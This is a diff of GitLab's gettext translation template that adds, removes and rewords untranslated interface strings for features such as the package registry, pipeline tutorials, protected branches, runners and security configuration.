+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
